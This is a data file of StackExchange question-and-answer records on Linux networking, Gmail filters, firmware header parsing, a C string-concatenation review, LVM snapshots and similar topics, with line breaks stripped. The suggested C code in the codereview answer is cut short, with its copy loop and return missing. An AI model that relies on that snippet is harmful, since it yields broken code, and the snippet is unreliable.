{  "id": "_unix.336991"  , "question": "I'm trying to configure a virtual network in VirtualBox with a central node as gateway & DHCP & DNS server (I'm using the dnsmasq).Central node has two interfaces: enp03 which faces the host network. It configured by host network DHCP and has a dynamic IP address.enp08 which faces the virtual network. dnsmasq is listening this interfase.Now I want to set some static configuration for enp08.Is it possible to do something like that in /etc/network/interfaces:auto enp03iface enp03 inet dhcpauto enp08iface enp08 inet static address 10.0.5.1 netmask 255.255.255.0 gateway enp03"  , "title": "How to point to network interface from other inteface configuration in /etc/network/interface"  , "tags": "linux;networking;routing;network interface"  , "accepted_answer": "If I understand correctly, you want to define a gateway for the enp08 interface, and tell the kernel that this gateway is the same than the one used on enp03, right?Then just remove/comment that gateway line. It defines a default gateway and the default is already set (by DHCP on enp03), no need to add a duplicate."  } 
{  "id": "_webapps.78182"  , "question": "I am using Google Maps to determine my route to work. It is about an hour currently, but I know that when I factor in traffic it will be longer. I want to know just how much longer it will be. I was wondering if there is a way to use the past traffic delays to calculate what my travel time might be given a specific travel time for that day?"  , "title": "Is there a way to calculate a Google Maps commute based on past traffic delay times?"  , "tags": "google maps"  , "accepted_answer": "If you hover over the directions box (top-left) on the map, you will see that it tells you the estimated time for leaving now. If you click on the Leave Now  part, you can change the departure or arrival time. When you do, you will see the estimated time update to take into account known traffic flows for that date/time.That's as good as it gets since those kinds of calculations are highly complex and based on all sorts of factors including road works and average traffic flows."  } 
{  "id": "_webapps.8596"  , "question": "I receive email to these addresses:my-team@example.com : This is my team's primary method of communication. I want all of this email to go to my Inbox.other-team@example.com : This belongs to another team at my organization, but I monitor it. I have a filter on this sort of email. It skips the Inbox. I'll usually read it later.If an email is sent to both my-team@example.com and other-team@example.com, the label for 'other-team' is applied, and the email is removed from my Inbox. But, this email was sent to my-team@example.com, so I would like this email to remain in my Inbox.How can I tell Gmail to leave any email to my-team@example.com in my Inbox, even the email matches other rules?Or, to ask the question another way, can I tell Gmail to stop processing filters after it has matched a filter? This is a common practice with Microsoft Outlook.I tried to create a Filter using a Label named Inbox, but Gmail says Sorry, you can't create a label named inbox (it's a reserved system label)."  , "title": "Gmail filters/labels: Force email to stay in Inbox?"  , "tags": "gmail;gmail filters;gmail labels"  } 
{  "id": "_unix.134076"  , "question": "You have no necessity to install any additional packages. Everything should work fine. Thus check whether files /proc/net/tcp6, /proc/net/tcp exist. If they are absent, just add them. sir you gave this answer at given link:https://serverfault.com/questions/425345/why-dstat-failed-with-tcp-option can you please tell me about how to add tcp6 on raspbian. actually i am using raspberry pi for my thesis. thanks in advance."  , "title": "How to add tcp6 on raspbian?"  , "tags": "linux"  } 
{  "id": "_unix.318992"  , "question": "The Makefile is:%.pdf: %.tex    rubber -d $<If there is a doc.tex in the directory, then make doc.pdf builds doc.pdf. The problem is that when I type make, the autocompletion gives nothing: it doesn't even allow to autocomplete to make doc.tex. What can be done about it?"  , "title": "Autocomplete in make based on possible targets"  , "tags": "bash;make;autocomplete"  } 
{  "id": "_unix.275088"  , "question": "I am trying to search all IP addresses that connected to my server and want to find abusive servers from nslookup results.nslookup 31.204.150.10 | grep in-addrSome example results:209.190.54.154          154.54.190.209.in-addr.arpa name = 9a.36.be.static.xlhost.com.209.51.199.34           34.199.51.209.in-addr.arpa  name = 22.c7.33.static.xlhost.com.209.51.197.234          234.197.51.209.in-addr.arpa name = ea.c5.33.static.xlhost.com.31.204.150.10           10.150.204.31.in-addr.arpa  name = hosted-by-i3d.net.209.51.197.218          218.197.51.209.in-addr.arpa name = da.c5.33.static.xlhost.com.207.46.13.25            25.13.46.207.in-addr.arpa   name = msnbot-207-46-13-25.search.msn.com.200.105.189.165         165.189.105.200.in-addr.arpa    name = static-200-105-189-165.acelerate.net.198.62.109.139          139.109.62.198.in-addr.arpa name = jangan.sebok.share.78.187.209.209          209.209.187.78.in-addr.arpa name = 78.187.209.209.static.ttnet.com.tr.197.33.99.78            78.99.33.197.in-addr.arpa   name = host-197.33.99.78.tedata.net.197.157.0.45            ** server can't find 45.0.157.197.in-addr.arpa.: NXDOMAIN180.76.15.6             6.15.76.180.in-addr.arpa    name = baiduspider-180-76-15-6.crawl.baidu.com.176.10.104.243          243.104.10.176.in-addr.arpa name = tor2e1.privacyfoundation.ch.174.129.237.157         157.237.129.174.in-addr.arpa    name = ec2-174-129-237-157.compute-1.amazonaws.com.174.102.192.129         129.192.102.174.in-addr.arpa    name = cpe-174-102-192-129.wi.res.rr.com.As an example, for nslookup 97.33.99.78 result97.33.99.78         78.99.33.197.in-addr.arpa   name = host-197.33.99.78.tedata.net.I want to extract tedata.net domain base.But some domain base have 3 or 4 components: wi.res.rr.com and static.ttnet.com.trAlso for XLHOST, I am not sure to chose static.xlhost.com or xlhost.com for search repeating pattern.209.190.54.154          154.54.190.209.in-addr.arpa name = 9a.36.be.static.xlhost.com.209.51.199.34           34.199.51.209.in-addr.arpa  name = 22.c7.33.static.xlhost.com.209.51.197.234          234.197.51.209.in-addr.arpa name = ea.c5.33.static.xlhost.com.What do you recommend to detect abusive IPs that generate from specific server?"  , "title": "Determining Domain Base Name from Nslookup Results"  , "tags": "bash;shell script;nslookup"  } 
{  "id": "_softwareengineering.207205"  , "question": "I have WCF webservice which serves to various mobile application. This was implemented with typical HTTPS/SSL. But there are some cases like Replay Attack needs to be considered in the security aspect.OAuth 2.0 looks like a viable solution for this problem (using nonce). And I can see some examples on web using DotnetOpenOAuth library to implement a server.Is OAuth is a right choice to use with WCF services?Is there any alternatives with .NET framework/Microsoft technologies to implement a secure WCF server?"  , "title": "Is OAuth (2.0) is the right choice to make WCF WebService secure?"  , "tags": "design;.net;architecture;rest;wcf"  } 
{  "id": "_cstheory.34271"  , "question": "In a read-twice opposite CNF formula each variable appears twice, once positive and once negative.I'm interested in the $\\oplus\\text{Rtw-Opp-CNF}$ problem, which consists in computing the parity of the number of satisfying assignments of a read-twice opposite CNF formula.I was unable to find any reference about the complexity of such problem. The closest I was able to find is that the counting version $\\#\\text{Rtw-Opp-CNF}$ is $\\#\\text{P}$-complete (see section 6.3 in this paper).Thanks in advance for your help.Update 10th April 2016In this paper, the $\\oplus\\text{Rtw-Opp-SAT}$ problem is shown to be $\\oplus\\text{P}$-complete, however the formula produced by reduction from $3\\text{SAT}$ is not in CNF, and as soon as you try to convert it back into CNF you get a read-thrice formula.The monotone version $\\oplus\\text{Rtw-Mon-CNF}$ is shown to be $\\oplus\\text{P}$-complete in this paper. In such paper, $\\oplus\\text{Rtw-Opp-CNF}$ is quickly mentioned at the end of section 4: Valiant says it is degenerate. It is not clear to me what being degenerate exactly means, nor what does it imply in terms of hardness.Update 12th April 2016It would be also very interesting to know if anyone has ever studied the complexity of the $\\Delta\\text{Rtw-Opp-CNF}$ problem. Given a read-twice opposite CNF formula, such problem asks to compute the difference between the number of satisfying assignments having an odd number of variables set to true and the number of satisfying assignments having an even number of variables set to true. I've not found any literature about it.Update 29th May 2016As pointed out by Emil Jebek in his comment, it is not true that Valiant said that the problem $\\oplus\\text{Rtw-Opp-CNF}$ is degenerate. He only said that a more restricted version of such problem, $\\oplus\\text{Pl-Rtw-Opp-3CNF}$, is degenerate. In the meanwhile, I continue to not know what degenerate exactly means, but at least now it seems clear that it is a synonym of lack of expressive power."  , "title": "Complexity of computing the parity of read-twice opposite CNF formula ($\\oplus\\text{Rtw-Opp-CNF}$)"  , "tags": "cc.complexity theory;ds.algorithms;counting complexity"  } 
{  "id": "_unix.310820"  , "question": "I'm configuring buttons on my mouse I want to set volume buttons but I don't know the keycode fo volume buttons. I used xbindkeys but didn't work."  , "title": "Keycode for volume buttons"  , "tags": "linux;audio;mouse;xbindkeys"  } 
{  "id": "_unix.85308"  , "question": "I did so many searches on search engines, but could not find a relevant solution.Is there any research or source that shows an approximate value for servers?"  , "title": "What's the approximate percentage of Linux servers in the world?"  , "tags": "linux;webserver"  , "accepted_answer": "Here are a couple of resources for Linux deployments. The best resource is likely going to be articles.Wikipedia topic titled: Usage share of operating systemsLinux Leads Server Growth - thejournal.comIf you search for Linux server market share or linux servers worldwide you'll likely find more if you need them.excerpt from that wikipedia topicscanning the internetServer market share can be measured with statistical surveys of  publicly accessible servers, such as web servers, mail servers or  DNS servers on the Internet: the operating system powering such  servers is found by inspecting raw response messages. This method  gives insight only into market share of operating systems that are  publicly accessible on the Internet. There will be differences in the  result depending on how the sample is done and observations weighted.  Usually the surveys are not based on a random sample of all ip  numbers, domain names, hosts or organisations, but on servers found by  some other method. Additionally many domains and ip  numbers may be served by one host and some domains may be served by  several hosts or by one host with several ip numbers.  Notes:W3Techs survey in January 2013 checked the top 1 million Web servers (according to Alexa).Security Space survey in August 2009 checked 38,549,333 publicly accessible Web servers.Netcraft SSL survey in January 2009 also checked 1,014,301 publicly accessible Web servers, but the survey is only valid for SSL Web servers and it is not a good measure for our purpose.hardware sales methodA method to measure the overall server market, rather than subsets  like publicly accessible web servers, is to count server hardware  sales, using data from server manufacturers. Using this method, market  share can be measured either in units or in revenue. In either case,  the measure refers to server hardware, not to software. Units refers  to the number of physical servers running a given OS, and revenue  refers to hardware revenue for physical servers running that OS. It  does not refer to software licensing or support revenue, which often  varies considerably from one OS to another."  } 
{  "id": "_unix.172640"  , "question": "I want to run two scripts at the same time. How exactly do I do this? If I have a variable called foo in script1 and change its value to 5, and if I'm using a variable with the same name in script2 (that runs simultaneously with script1), will the value of variable foo in script2 also become 5?"  , "title": "Run two scripts at the same time"  , "tags": "shell;scripting;parallelism"  } 
{  "id": "_webmaster.1734"  , "question": "I'm not an advocate of the no-www movement. I like the www because it adds as a buffer to distinguish between our public and private/static sites.The problem is that with one of our sites, our traffic is split pretty much 50/50 between those that use our www and those that don't.Should I bother rewriting those who hit our non-www site to our WWW site? Or should I just leave them alone? All our google SEO whatnot is on our www site, so I'm not concerned about any of that, only about user perception.Has anyone here had this problem before? I'm not concerned about the technial aspect (that's easy with a quick rewrite rule), primarily the social side."  , "title": "Removing non-www support"  , "tags": "htaccess;no www"  , "accepted_answer": "Either way is fine from a user perspective, as long as both work when you type them in the address bar. The problem is having both without redirecting one to the other. Google and other search engines will count www.example.com and example.com as two different URLS. This, along with inconsistently ordered URL parameters, is one of the major causes of duplicate content. If people are linking to both the www and non-www versions of pages, you're effectively diluting your PageRank between two different pages with the same content. Since most of your Google traffic is coming through the www version, I'd 301 redirect the non-www to the www URLs. By doing it that way, you lose less potential PageRank through the 301 than you would the other way around."  } 
{  "id": "_cogsci.1687"  , "question": "The goal is to take simple measurements of mood using Likert scale over an extended period of time (e.g. two months). I know there is a large number of mobile apps for tracking mood on every possible platform and there is an extensive list of those tools on Quantify Self website. All those tools allow you to record your mood in a simple format, customize your tracking, and choose yourself time when you want to record you mood. And this is exactly the point where all of those tools are missing a critical feature. To get a more reliable sample of a behaviour or experience, you ought to sample the experience in a random time during the waking day, rather then give the person a choice of the time of sampling (Csikszentmihalyi et al., 1987). Csikszentmihalyi et al. (1977) did just that by giving people pagers and send them random beeps, after which they filled the questionnaire. It's a basic rule in any longitudinal experience sampling studies that I remember from the first year undergraduate classes. The need of this kind of approach rises from the inability of respondents to provide an accurate retrospective information on their daily behaviour and experience.So I am looking for mobile mood tracking tool that meets those particular requirements:it allows you to set up waking time within which you want to receive random reminders,it allows you to set up number of reminders you want to receive during the waking hours,during the day you receive a random reminder that directs you to a single question asking you to rate your mood at the moment, for example on 1-9 scaleyour response is time-stamped and saved either on the mobile phone or send directly to the server if possible.Now, it sounds simple enough, but the only app I found that matches some aspects of it is Mappiness. They DO send you random reminders, and their project, idea, and app execution are awesome. But the problem with Mappiness is that it collects a lot of extra information that I don't need, and I personally got very annoyed with the length of their questionnaire (check yourself if you got an iPhone). I want a random notice, single question, 5-seconds of your time to respond, and some data export option.Am I missing something here or such app doesn't exist and I need to write it? I realise that this question might be more relevant for http://productivity.stackexchange.com but it's hard to say, it's kind of a middle-area.References:Csikszentmihalyi, M., & Larson, R. (1987). Validity and reliability of the experience-sampling method. The Journal of Nervous and Mental Disease, 175(9), 526.Csikszentmihalyi, M., Larson, R., & Prescott, S. (1977). The ecology of adolescent activity and experience. Journal of Youth and Adolescence, 6(3), 281294."  , "title": "Longitudinal mobile mood tracking app with random reminders"  , "tags": "reference request;measurement;emotion;methodology;experimental psychology"  } 
{  "id": "_unix.281615"  , "question": "The easiest/simplest understanding of the web is a. When you connect to your ISP, the ISP gives a dyanmic address (like a temporary telephone number) only for the duration of that connection, the next time you connect, you will again have a different dynamic IP Address. b. You use the browser to to different sites which have static IP Address (like permanent numbers or/and permanent address of an establishment). Now is there a way to get self's IP address instead of going to a web-service like whatismyipaddress.com. The connection is as follows :-ISP - Modem/Router - System  Edit - The Modem/Router is a D-Link DSL-2750U ADSL router/modem. http://www.dlink.co.in/products/?pid=452I did see How to track my public IP address in a log file? but that also uses an external web-service, it would be better/nicer if we could do without going to an exernal URL/IP address for the same. "  , "title": "Is there a way to find self's dynamic public ip address using cli in Debian?"  , "tags": "bash;debian;networking;ip;dynamic dns"  , "accepted_answer": "In addition to Tonys answer, of querying OpenDNS, which I use in my scripts upon logging on to my servers to display both the local machine and remote public IP address:echo `hostname` `hostname -i` `dig +short +time=1 myip.opendns.com @resolver1.opendns.com`Google also offers a similar service.dig TXT +short o-o.myaddr.l.google.com @ns1.google.com | awk -F'' '{ print $2}'If you have a private IP address, behind a home or corporate router/infra-structure, or even if you are your own router, these services in the Internet will reveal the public IP address you are using to reach them, as it is what arrives to them doing the request. Please do note that the above methods only work if the Linux machine in question has direct access to the Internet.If your Linux server is your router, besides you being able to have a look at your current interfaces, you might also do:hostname -iAs normally the public IP address is often the main/first interface. If not the first interface, you might also do:$hostname -I95.xx.xx.xxx 192.168.202.1 192.168.201.1 Which shows you all the IP addresses of the machine interfaces.Please read too:How To Find My Public IP Address From Command Line On a LinuxAgain, if the Linux server is the router, it might be interesting to place a script in /etc/dhcp/dhclient-exit-hooks.d to track and act on your IP changes, as I documented in this question: Better method for acting on IP address change from the ISP?"  } 
{  "id": "_unix.11469"  , "question": "root@ip-10-194-97-94:~# apt-get install uwsgiReading package lists... DoneBuilding dependency tree       Reading state information... DoneSome packages could not be installed. This may mean that you haverequested an impossible situation or if you are using the unstabledistribution that some required packages have not yet been createdor been moved out of Incoming.The following information may help to resolve the situation:The following packages have unmet dependencies:  uwsgi: Depends: uwsgi-python2.6 (>= 0.9.6.5-0ubuntu1~lucid1) or                  uwsgi-python3.1 (>= 0.9.6.5-0ubuntu1~lucid1)E: Broken packages"  , "title": "Can't install uwsgi on ubuntu"  , "tags": "install;apt"  } 
{  "id": "_reverseengineering.4565"  , "question": "Note: I'm aware of the technical and legal implications of reverse-enginneering binaries.I have the firmware for a Netgear WGR614v7 router, in the form of a .chk file, coming from Netgear themselves, and I wish to unpack the file. My understanding is that a firmware .chk file is a header before a TRX image, and I've tried to untrx the ile I had sans header, or with header as well. Neither that nor binwalk succeeded. Two useful strings are seen very close to the beginning of the file:AH00I8U12H064T00_NETGEARInspecting the file in a hex editor, I'm unable to find the TRX file signature (I was looking for ASCII HDR0). I also cannot find any sort of compression magic values, except fairly far into the file where they're not likely to signify the beginning of the actual content I'm looking for. Am I looking for the wrong filetypes? Is anything about this structure known that I haven't found yet?Edit: The firmware has been downloaded from Netgear's site. I tried chopping off various lengths but cannot find a reasonably-located compression or TRX header. The characteristic ff ff ff ff of IMG images used as a method of preventing a repetitive boot firmware is also not existent.Edit 2: I did some searching of my own, and found a decompression utility. When I chopped the file such that sqz had been the first characters, that utility seemed to find valid Huffman structures but incur a size mismatch. A result of the decompression yielded 11 bytes, while the program warned me:Warning: Unpacked file should be 7537274 bytes but is 396409921 bytes! at ./unpack.pl line 61, <STDIN> line 3.Of course, it could be that many kinds of data that is corrupt might be partially readable as huffman giving me strange results as seen here."  , "title": "Format of .chk firmware package on WGR614v7"  , "tags": "file format;firmware"  , "accepted_answer": "The file begins:0000000: 4148 3030 4938 e66c 000e aa28 9835 0589  AH00I8.l...(.5..0000010: 3004 125a 1b39 65ff 47e4 b95c 0001 0014  0..Z.9e.G..\\....0000020: 5531 3248 3036 3454 3030 5f4e 4554 4745  U12H064T00_NETGE0000030: 4152 0000                                AR..The reason for picking this size will soon become clear.The first four bytes (AH00) are probably file magic. Googling just that string brings up this page, which has a detailed breakdown of a different firmware file with a similar structure.The next four bytes are not described by the linked page. Reading them as a 32-bit big-endian value (BE32), though, you get 0x4938e66c = 1228465772, which is plausibly a recent UNIX timestamp (usually values from around 800,000,000 to 1,500,000,000). Indeed, it decodes to Fri Dec  5 08:29:32 2008 GMT, which is plausibly the build date of the hardware (and I note that the linked article has 0x481ac265 = Fri May  2 07:27:33 2008 GMT, which also seems plausible).The next four bytes read as a BE32 value give 961064. The total filesize is 961116 bytes, so this is likely the payload size, leaving 52 bytes for the header (and thus explaining why I chose to show the first 52 bytes here).The next 32 bytes are the MD5 sum of the payload as indicated by the linked page. I deleted the first 52 bytes and MD5 summed the result:983505893004125a1b3965ff47e4b95c  /tmp/fw.sqzwhich is exactly what the header contains.The next two bytes are unknown.The next two bytes are 0x0014, which is the length of the string that follows (including two padding NULs). While I'm not familiar with Netgear routers, I'm guessing this is a model/revision number for the hardware target.And there you go: that's the .chk file header.char magic[4];uint32_t timestamp; // UNIX timestampuint32_t payload_size;char md5sum[32];uint16_t unknown; // = 1 on all files seen so faruint16_t model_size;char model[model_size];In the original linked page, the payload was a plain ELF file. Unfortunately, in your firmware, the payload is some other kind of file, with the magic sqz (squeeze?). It's clearly compressed, but I can't tell what it's compressed with. For now, this will have to be an incomplete answer until someone figures out what the compression format is."  } 
{  "id": "_codereview.42264"  , "question": "char *cat_string(char *to_cat, char *destination) {  char *copy = destination;  while (*copy != '\\0') {    *copy++;  }  while (*to_cat != '\\0') {    *copy++ = *to_cat++;  }  *copy = '\\0';  return destination;}I would like to know if this is an efficient and effective way of writing this function. It seems silly to have to iterate through the whole array just to find the \\0 character.Also, should I be returning the pointer to the destination? What's the best practice there? "  , "title": "Writing strcat (string concatenate) in C"  , "tags": "c;beginner;strings"  , "accepted_answer": "You renamed strcat() to cat_string(), so I suppose it's fitting that you reversed the traditional order of the parameters as well.  I would make three changes:Changing the first argument to const helps prevent users notice if they call the function with the parameters swapped (but doesn't prevent it in all cases).You have a stray pointer dereference.  It was misleading, but luckily harmless.  (In the first while loop, you just want to advance the copy pointer.  You don't care about what value it points to as you advance; you only care when you check for the NUL terminator.)You can remove a statement just by changing the loop structure.Edit (Rev 3): Previous recommendation was buggy, and has been retracted.  Credit to @MarcvanLeeuwen.To answer your questionsThe only way to find out where to start appending is to walk the entire destination string to locate where it ends.  That's just how C-style strings work.Yes, returning destination seems appropriate.  It's analogous to what strcat() does.One final note: two spaces for indentation is too stingy, in my opinion.  It's insufficient for readability, and it also encourages inappropriately deep nesting (which would be a symptom of poorly organized code).char *cat_string(const char *to_cat, char *destination) {    char *copy = destination;    while (*copy != '\\0') {        copy++;                 /* Removed superfluous dereference. */    }    }"  } 
{  "id": "_unix.233814"  , "question": "I use multiple accounts in mutt, and wish to save sent messages to different $record directories. I am aware of folder-hook; if I compose in different folders, I can change $record depending on the associated account of the initial folder.However, sometimes, I might want to compose from a different folder, or forward an email to one account from another, or reply from a different account, or change my mind mid-composition (I have set edit_headers=yes). Hence, it makes more sense to save the sent email to a specific directory based on the from field. Is that possible?I understand that fcc-hook could change $record based on recipients, but I'd like to change it based on sender instead."  , "title": "How can I change $record in mutt depending on the from address?"  , "tags": "mutt"  , "accepted_answer": "You can use fcc-hook to change the folder depending on all sorts of parameters.fcc-hook '~f foo@example.com' '=foo-folder'fcc-hook '~f bar@example.com' '=bar-folder'I also use it to depend on the subject (all messages whose subject contains ISDN go to my =ISDN folder, for example),  use '~s' for that."  } 
{  "id": "_unix.37682"  , "question": "I just installed Linux Mint 12 using mint4win just to test it out. I have a problem with my wireless connection.When I start Mint, it sees the network I wish to join, I select it, enter the correct password, and 1 minute later I am being prompted for a password again. During that waiting time, I was not connected at all.It appears if I turn off my Wireless (by tapping on the Wireless LED on the laptop), it wont turn on again either.My Ethernet port is broken as well, so I cannot connect with a cable either. In Windows I can connect fine using Wireless.Is there any drivers required for this to work? I cant seem to find any, and they have to be downloadable from Windows so I can put them on an USB and run them in Mint.Thank you in advanceEDIT: My Wireless chip is an Atheros AR9285"  , "title": "Linux Mint 12 on HP Pavillion DV7 - Wireless is not working"  , "tags": "networking;linux mint;wifi"  } 
{  "id": "_unix.19210"  , "question": "It seems that usually it is talked about snapshots as read-only. (In a scenario where one creates a snapshot, then does some experiments with the main volume, and then restores the old state by merging the snapshot into the main volume.)Is an alternative scenario possible in LVM? I.e., where one doesn't even want the temporary experiments to be visible in the main volume, so one creates a temporary snapshot, makes it writable, does the experiments there, in that branch, and then discards the snapshot (or perhaps merges it if one is satisfied with the results)?And if writable snapshots are possible in LVM, then what happens when merging a modified snapshot into the main volume which also has had some different modifications?(BTW, btrfs snapshots seem to be writable by default, so this scenario seems to be well possible in btrfs.)"  , "title": "Can LVM snapshots be writable? (and used for temporary experiments)"  , "tags": "lvm;restore;tmp;sandbox"  , "accepted_answer": "LVM does support read-write snapshots in fact that's the default. Merging a modified snapshot will delete the data on the snapshot origin volume the same way merging an unmodified snapshot would.If you expect to discard modifications then I recommend RW snapshots and merge if you want to keep them. If you expect to keep the modifications then you should create a RO snapshot (or RW just don't mount it) and merge if something goes wrong.An example for the first situation could be: You want to start a virtual machine with the exact same software every day. Sometimes you want to keep the changes because you installed patches but most of the time you want to start fresh.The second situation could be a system upgrade. Most of the time it works and you can remove the snapshot. But every now and then it fails and you want to merge."  } 
{  "id": "_datascience.5040"  , "question": "I'm using a set of features, says $X_1, X_2, ..., X_m $, to predict a target value $Y$, which is a continuous value from zero to one.At first, I try to use a linear regression model to do the prediction, but it does not perform well. The root-mean-squared error is about 0.35, which is quite high for prediction of a value from 0 to 1.Then, I have tried different models, e.g., decision-tree-based regression, random-forest-based regression, gradient boosting tree regression and etc. However, all of these models also do not perform well. (RMSE $\\approx $0.35, there is not significant difference with linear regression)I understand there are many possible reasons for this problem, such as: feature selection or choice of model, but maybe more fundamentally, the quality of data set is not good.My question is: how can I examine whether it is caused by bad data quality?BTW, for the size of data set, there are more than 10K data points, each of which associated with 105 features.I have also tried to investigate importance of each feature by using decision-tree-based regression, it turns out that, only one feature (which should not be the most outstanding feature in my knowledge to this problem) have an importance of 0.2, while the rest of them only have an importance less than 0.1."  , "title": "How to determine whether a bad performance is caused by data quality?"  , "tags": "machine learning"  , "accepted_answer": "First, it sounds like your choice of model selection is a problem here.  Your outputs are binary-valued, not continuous. Specifically you may have a classification problem on your hands rather than a traditional regression problem.  My first recommendation would be to try a simple classification approach such as logistic regression or linear discriminant analysis.Regarding your suspicions of bad data, what would bad data look like in this situation? Do you have reason to suspect that your $X$ values are noisy or that your $y$ values are mislabeled? It is also possible that there is not a strong relationship between any of your features and your targets.  Since your targets are binary, you should look at histograms of each of your features to get a rough sense of the class conditional distributions, i.e. $p(X_1|y=1)$ vs $p(X_1|y=0)$. In general though, you will need to be more specific about what bad data means to you."  } 
{  "id": "_unix.164275"  , "question": "OK, so I have an old office reject printer, the OKI B4350.Works great with CUPS and Evince except for one thing: often it prints the page all messed up: offset from the upper left corner and truncated in the lower right corner, and the word x0y or xOy added.So far, this has never ever happened on the first page I print, but it happens often later in a multi-page print job.My wild hypothesis is that it's when a preceding page goes to close to (or out in) the margins.So ideally I'd like to figure out what's wrong, and fix it, and be able to print really tight margins. But if that's not possible, maybe some sort of filter I could put things through to make it happy? pdfcrop hasn't been enough."  , "title": "How can I workaround or fix a printer offset x0y?"  , "tags": "pdf;cups;printer"  } 
{  "id": "_unix.44384"  , "question": "I hope this does not count as a question without a real answer, as I can't seem to find a good reason to use cp(1) over rsync(1) in virtually all circumstances. Should one typically favour rsync over cp? Is there any good guideline for their use?rsync: Transfers the diffs, it can use compression, it can be used remotely (and securely), it can be restarted despite an interruption, even during the transfer of a single large file. 'cp : Perhaps it's just simpler to use? Is it faster than rsync?"  , "title": "cp or rsync, is cp really worth it?"  , "tags": "bash;shell;rsync;utilities;cp"  , "accepted_answer": "cp is a part of coreutils, therefore it is present everywhere. furthermore, it primarily was designed to copy files inside one computer.rsync isn't a part of coreutils, it isn't present even on the default environment. moreover it was primarily designed to transfer files over network. Also rsync has more dependencies comparing to coreutils, however this difference doesn't make a big sense.ps. By the way the CPU usage is still matters on the embedded systems."  } 
{  "id": "_unix.343775"  , "question": "IntroductionFirst of all, here's what I use: Ubuntu 16.04I happened to install the package systemd-shim on my computer. However, it returned an error saying it could not be configured.So for the time being I let it be just like that. However, whenever I want to perform any other operation using apt, it shows up in the list: 1 package not installed and yet it does not get installed properly even with a --reinstall command.The problemThen I decided that I'd simply remove it, using apt purge.However, that does not work either. Here's a part of the error I get:insserv: Starting .depend.start depends on plymouth and therefore on system facility `$all' which can not be true!insserv: There is a loop between service .depend.start and dns-clean if startedinsserv:  loop involving service dns-clean at depth 1insserv: exiting now without changing boot order!update-rc.d: error: insserv rejected the script headerdpkg: error processing package cgmanager (--purge): subprocess installed post-removal script returned error exit status 1Processing triggers for man-db (2.7.5-1) ...Errors were encountered while processing: cgmanagerE: Sub-process /usr/bin/dpkg returned an error code (1)The same is true regarding the package cgmanager, which was apparently also incompletely configured at the time of incomplete configuration of systemd-shim.The same error occurs also when executing sudo apt install --reinstall mdadm, a step recommended by this answer:insserv: Starting .depend.start depends on plymouth and therefore on system facility `$all' which can not be true!insserv: There is a loop between service .depend.start and dns-clean if startedinsserv:  loop involving service dns-clean at depth 1insserv: Starting .depend.start depends on plymouth and therefore on system facility `$all' which can not be true!insserv: exiting now without changing boot order!update-rc.d: error: insserv rejected the script headerdpkg: error processing package mdadm (--configure): subprocess installed post-installation script returned error exit status 1Processing triggers for systemd (229-4ubuntu16) ...Processing triggers for ureadahead (0.100.0-19) ...Errors were encountered while processing: mdadmE: Sub-process /usr/bin/dpkg returned an error code (1)I tried clearing the apt cache, i.e., the local directory where downloaded .deb packages are stored for them to be installed on the current/next run, but to no avail.I am unable to find a solution anywhere specific to my situation, hence the question. Other questions (A, B) involve issues that have arisen during 16.04-->16.10 upgrade. However, I am using 16.04 and do not intend to upgrade my system in the near future. I had manually tried to install the package(s) and encountered the above-mentioned errors.My system works properly and doesn't encounter any functional errors due to this, but it is better to resolve it than just leave it lying there, so I would appreciate any help that you can offer.UpdateI ran the command sudo dpkg --reconfigure -a and here's more such output:W: mdadm: /etc/mdadm/mdadm.conf defines no arrays.Processing triggers for plymouth-theme-ubuntu-text (0.9.2-3ubuntu13.1) ...update-initramfs: deferring update (trigger activated)Processing triggers for initramfs-tools (0.122ubuntu8.8) ...update-initramfs: Generating /boot/initrd.img-4.4.0-62-genericW: Possible missing firmware /lib/firmware/i915/kbl_dmc_ver1.bin for module i915_bpoW: mdadm: /etc/mdadm/mdadm.conf defines no arrays.Errors were encountered while processing: mdadmUpdate [2017-02-22]Here are the contents of mdadm.postinst file: Pastebin link.Also, here is the output of dpkg -C:The following packages are only half configured, probably due to problemsconfiguring them the first time.  The configuration should be retried usingdpkg --configure <package> or the configure menu option in dselect: keyboard-configuration system-wide keyboard preferences mdadm            tool to administer Linux MD arrays (software RAID)"  , "title": "Unable to purge or reinstall 'systemd-shim' and 'cgmanager'"  , "tags": "ubuntu;apt;package management;systemd;dpkg"  } 
{  "id": "_webmaster.34096"  , "question": "So I have a website which displays all my content vertically. (like modern websites often do these days). Thus I can't create static links to each section. I'm currently handling the scrolling with javascript. My navigation looks like this.<ul>    <li><a href=#services>Services</a></li>    <li><a href=#references>References</a></li>    <li><a href=#blog>Blog</a></li>    <li><a href=#contact>Contact</a></li></ul>I also created 301 redirect links with htaccess. E.g. /services which leads to /#services.If I were to use them in my navigation, I'd have to trigger the scrolling with the onpopstate event. Thats not really a problem, but would searchengines accept that kind of setup ?I also created a sitemap and submitted it to google, but the indexing is still pending."  , "title": "SEO: Make hashtag links look static"  , "tags": "seo;sitemap;links"  , "accepted_answer": "You have 1 page. All the content is loaded as the page loads and all the content is visible. So, there is only 1 page and 1 canonical URL that identifies that page. (This is not an AJAX loaded page where sections are loaded later on request.)Search engines (ie. Google) index pages, not parts of pages. So, I can't see as there is any benefit (from an SEO viewpoint) in attempting to identify these separate sections as different pages, when they are not. You could even end up with duplicate content issues!? IMO the sitemap (if indeed you supply one at all) should have just 1 page.However, Google might actually handle this for you and offer the appropriate link to your sub section in the SERPs. I'm not sure how prevalent this is, but Google is able to index in-page links to some extent. For example:Example#1 Search Google for: the document body site:www.w3.orgYou will see that the very top result shows:Jump to The BODY element is an in-page anchor half way down the page, which is simply linked to from the page contents at the top.Example#2 Search Google for: google safe searchPart way down the SERPs (currently #3) you will see:I would have hoped that Google would be able to identify both elements with an id=foo  and named anchors eg. <a name=foo></a> as the target. But all the examples I've seen in the wild use named anchors in order to identify the target. And I've also only seen it applied to large/established sites?! (But that might be partly because many sites don't use named anchors these days?)Here is some information from Google themselves (Sept 2009) on Using named anchors to identify sections on your pages:http://googlewebmastercentral.blogspot.co.uk/2009/09/using-named-anchors-to-identify.html"  } 
{  "id": "_datascience.17628"  , "question": "I would like to examine an existing Git repository and extract all defined releases into a subfolder. For example, if application A had 26 releases, my bash script would extract all 26 versions into subfolders such as:A/(folder) for each of the defined releasesThe preferred language is bashThanks all"  , "title": "Extract all releases from GIT repository"  , "tags": "version control;linux"  } 
